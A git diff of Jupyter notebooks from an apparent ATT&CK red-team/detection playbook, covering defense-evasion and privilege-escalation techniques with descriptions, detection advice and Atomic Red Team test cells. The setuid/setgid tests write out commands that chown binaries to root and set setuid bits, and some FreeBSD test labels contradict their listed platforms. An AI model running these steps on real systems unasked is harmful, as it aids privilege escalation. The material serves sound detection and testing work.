regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)" }, { "cell_type": "markdown", - "id": "2a9400cf", + "id": "375e8690", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "0aa1a7cb", + "id": "1dba8d30", "metadata": {}, "source": "## Detection\nMonitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)" }, { "cell_type": "markdown", - "id": "06d75de0", + "id": "f3e3a008", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nA defender can detect adversaries leveraging unused cloud regions. By implementing behavioral analytics for cloud hosts interacting with the network from regions that are not normal, one can detect potential malicious activity.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1536.ipynb b/playbook/tactics/defense-evasion/T1536.ipynb deleted file mode 100644 index b93a3937..00000000 --- a/playbook/tactics/defense-evasion/T1536.ipynb +++ /dev/null @@ -1,44 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "fd5f7c2e", - "metadata": {}, - "source": "# T1536 - Revert Cloud Instance\nAn adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)" - }, - { - "cell_type": "markdown", - "id": "758ca97e", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "8c54b758", - "metadata": {}, - "source": "## Detection\nEstablish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones." - }, - { - "cell_type": "markdown", - "id": "c8efc774", - "metadata": {}, - "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nThere is an opportunity to monitor logs on a system for common ways adversaries behave and detect on that activity.\n#### Use Case\nA defender could monitor logs off-system in order to detect adversary activities even when logs have been deleted on the system.\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1542.001.ipynb b/playbook/tactics/defense-evasion/T1542.001.ipynb index 2f5b5d0b..1321db44 100644 --- a/playbook/tactics/defense-evasion/T1542.001.ipynb +++ b/playbook/tactics/defense-evasion/T1542.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "0537d746", + "id": "5a8f76c0", "metadata": {}, "source": "# T1542.001 - System Firmware\nAdversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect." }, { "cell_type": "markdown", - "id": "53c0dedf", + "id": "e3441475", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "65c2f02c", + "id": "72ccd6ec", "metadata": {}, "source": "## Detection\nSystem firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1542.002.ipynb b/playbook/tactics/defense-evasion/T1542.002.ipynb index 90fff16a..26dae030 100644 --- a/playbook/tactics/defense-evasion/T1542.002.ipynb +++ b/playbook/tactics/defense-evasion/T1542.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "dc647c4d", + "id": "590031de", "metadata": {}, "source": "# T1542.002 - Component Firmware\nAdversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks." }, { "cell_type": "markdown", - "id": "aea465b1", + "id": "16bbed13", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "2e63b71a", + "id": "3a5356f1", "metadata": {}, "source": "## Detection\nData and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1542.003.ipynb b/playbook/tactics/defense-evasion/T1542.003.ipynb index 9821a62a..82f17add 100644 --- a/playbook/tactics/defense-evasion/T1542.003.ipynb +++ b/playbook/tactics/defense-evasion/T1542.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "e78e4bda", + "id": "32fbfa44", "metadata": {}, "source": "# T1542.003 - Bootkit\nAdversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code." }, { "cell_type": "markdown", - "id": "3fbdfe8c", + "id": "fbfdd61b", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "dd44fc25", + "id": "29a26a0d", "metadata": {}, "source": "## Detection\nPerform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1542.004.ipynb b/playbook/tactics/defense-evasion/T1542.004.ipynb index c8cb2981..eed3fb1c 100644 --- a/playbook/tactics/defense-evasion/T1542.004.ipynb +++ b/playbook/tactics/defense-evasion/T1542.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "640f0511", + "id": "ad55a5e2", "metadata": {}, "source": "# T1542.004 - ROMMONkit\nAdversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect." }, { "cell_type": "markdown", - "id": "a974b4cd", + "id": "ba498e41", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ff451749", + "id": "e4de9681", "metadata": {}, "source": "## Detection\nThere are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1542.005.ipynb b/playbook/tactics/defense-evasion/T1542.005.ipynb index 23441323..ffe04755 100644 --- a/playbook/tactics/defense-evasion/T1542.005.ipynb +++ b/playbook/tactics/defense-evasion/T1542.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "1b6747c5", + "id": "a174cefc", "metadata": {}, "source": "# T1542.005 - TFTP Boot\nAdversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)" }, { "cell_type": "markdown", - "id": "98f5dd2e", + "id": "3d7d45ab", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "a38ced9d", + "id": "d736a5ca", "metadata": {}, "source": "## Detection\nConsider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nReview command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1542.ipynb b/playbook/tactics/defense-evasion/T1542.ipynb index cda10146..9d28d264 100644 --- a/playbook/tactics/defense-evasion/T1542.ipynb +++ b/playbook/tactics/defense-evasion/T1542.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "641f66f7", + "id": "caaa04e9", "metadata": {}, "source": "# T1542 - Pre-OS Boot\nAdversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses." }, { "cell_type": "markdown", - "id": "8fd18df2", + "id": "20716d2e", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "0a6a4bc8", + "id": "acb63afd", "metadata": {}, "source": "## Detection\nPerform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.\n\nDisk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)" }, { "cell_type": "markdown", - "id": "367f87e1", + "id": "67c92205", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls on systems in order to affect the success of an adversary.\n#### Use Case\nA defender can use Trusted Platform Module technology and a secure boot process to prevent system integrity from being compromised.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1548.001.ipynb b/playbook/tactics/defense-evasion/T1548.001.ipynb index 8bb977ff..26800a5c 100644 --- a/playbook/tactics/defense-evasion/T1548.001.ipynb +++ b/playbook/tactics/defense-evasion/T1548.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "4977ce4d", + "id": "a37fe0e8", "metadata": {}, - "source": "# T1548.001 - Setuid and Setgid\nAn adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgit bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)" + "source": "# T1548.001 - Setuid and Setgid\nAn adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)" }, { "cell_type": "markdown", - "id": "94d79201", + "id": "c833c246", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "fa804487", + "id": "8ad4ad55", "metadata": {}, "source": [ "### Atomic Test #1 - Make and modify binary from C source", @@ -28,32 +28,67 @@ { "cell_type": "code", "execution_count": null, - "id": "44facb44", + "id": "c215670c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f298135f", + "id": "5830812e", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo rm /tmp/hello\nsudo rm /tmp/hello.c\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3b94179d", + "id": "fe0df09b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "49bb0192", + "id": "0f7bda1c", "metadata": {}, "source": [ - "### Atomic Test #2 - Set a SetUID flag on file", - "This test sets the SetUID flag on a file in Linux and macOS.\n", + "### Atomic Test #2 - Make and modify binary from C source (freebsd)", + "Make, change owner, and change file attributes on a C source code file\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\ncp PathToAtomicsFolder/T1548.001/src/hello.c /tmp/hello.c\nchown root /tmp/hello.c\nmake /tmp/hello\nchown root /tmp/hello\nchmod u+s /tmp/hello\n/tmp/hello\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "75240add", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "a607f9f6", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /tmp/hello\nrm /tmp/hello.c\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4f352495", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "76712933", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Set a SetUID flag on file", + "This test sets the SetUID flag on a file in FreeBSD.\n", "**Supported Platforms:** macos, linux", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `sh`\n", @@ -63,31 +98,66 @@ { "cell_type": "code", "execution_count": null, - "id": "166f1176", + "id": "edddc015", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 2" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "aa9af923", + "id": "1416a1ae", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo rm /tmp/evilBinary\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c437370b", + "id": "7ccaab99", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 2 -Cleanup" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "308566ea", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Set a SetUID flag on file (freebsd)", + "This test sets the SetUID flag on a file in FreeBSD.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\ntouch /tmp/evilBinary\nchown root /tmp/evilBinary\nchmod u+xs /tmp/evilBinary\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4105200e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "a11e4c5f", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /tmp/evilBinary\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6efeface", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "2c5696f8", + "id": "e68d1eb9", "metadata": {}, "source": [ - "### Atomic Test #3 - Set a SetGID flag on file", + "### Atomic Test #5 - Set a SetGID flag on file", "This test sets the SetGID flag on a file in Linux and macOS.\n", "**Supported Platforms:** macos, linux", "\nElevation Required (e.g. root or admin)", @@ -98,31 +168,66 @@ { "cell_type": "code", "execution_count": null, - "id": "0b7180bb", + "id": "7a48d7c7", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 3" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "4460613e", + "id": "2a535a53", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo rm /tmp/evilBinary\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9d0ace5b", + "id": "90555c61", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 3 -Cleanup" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "ff9bc58b", + "id": "0c4f7558", "metadata": {}, "source": [ - "### Atomic Test #4 - Make and modify capabilities of a binary", + "### Atomic Test #6 - Set a SetGID flag on file (freebsd)", + "This test sets the SetGID flag on a file in FreeBSD.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\ntouch /tmp/evilBinary\nchown root /tmp/evilBinary\nchmod g+xs /tmp/evilBinary\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "63c57ce7", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "16212425", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /tmp/evilBinary\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7951edff", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 6 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "0737c8ab", + "metadata": {}, + "source": [ + "### Atomic Test #7 - Make and modify capabilities of a binary", "Make and modify [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) of a C source code file.\nThe binary doesn't have to modify the UID, but the binary is given the capability to arbitrarily modify it at any time with `setuid(0)`.\nWithout being owned by root, the binary can set the UID to 0.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -133,31 +238,31 @@ { "cell_type": "code", "execution_count": null, - "id": "6318997d", + "id": "d34a27cc", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 4" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "1186f281", + "id": "47ea1512", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/cap\nrm /tmp/cap.c\n```" }, { "cell_type": "code", "execution_count": null, - "id": "31cf2834", + "id": "cbaa7ead", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 4 -Cleanup" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "139d77e4", + "id": "11a6d132", "metadata": {}, "source": [ - "### Atomic Test #5 - Provide the SetUID capability to a file", + "### Atomic Test #8 - Provide the SetUID capability to a file", "This test gives a file the capability to set UID without using flags.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -168,31 +273,31 @@ { "cell_type": "code", "execution_count": null, - "id": "8d7c30bd", + "id": "de95ac28", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 5" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "d6815731", + "id": "e2d8ceeb", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/evilBinary\n```" }, { "cell_type": "code", "execution_count": null, - "id": "49adabee", + "id": "7a956ea5", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 5 -Cleanup" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "28e507a8", + "id": "52ffc477", "metadata": {}, "source": [ - "### Atomic Test #6 - Do reconnaissance for files that have the setuid bit set", + "### Atomic Test #9 - Do reconnaissance for files that have the setuid bit set", "This test simulates a command that can be run to enumerate files that have the setuid bit set\n", "**Supported Platforms:** linux", "#### Attack Commands: Run with `sh`\n", @@ -202,17 +307,17 @@ { "cell_type": "code", "execution_count": null, - "id": "5c4849f2", + "id": "ff229028", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 6" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "c5b7eb1c", + "id": "b4b26633", "metadata": {}, "source": [ - "### Atomic Test #7 - Do reconnaissance for files that have the setgid bit set", + "### Atomic Test #10 - Do reconnaissance for files that have the setgid bit set", "This test simulates a command that can be run to enumerate files that have the setgid bit set\n", "**Supported Platforms:** linux", "#### Attack Commands: Run with `sh`\n", @@ -222,14 +327,14 @@ { "cell_type": "code", "execution_count": null, - "id": "7d8109f5", + "id": "56677739", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.001 -TestNumbers 7" + "source": "Invoke-AtomicTest T1548.001 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "128dbc3e", + "id": "8591c522", "metadata": {}, "source": "## Detection\nMonitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set." } 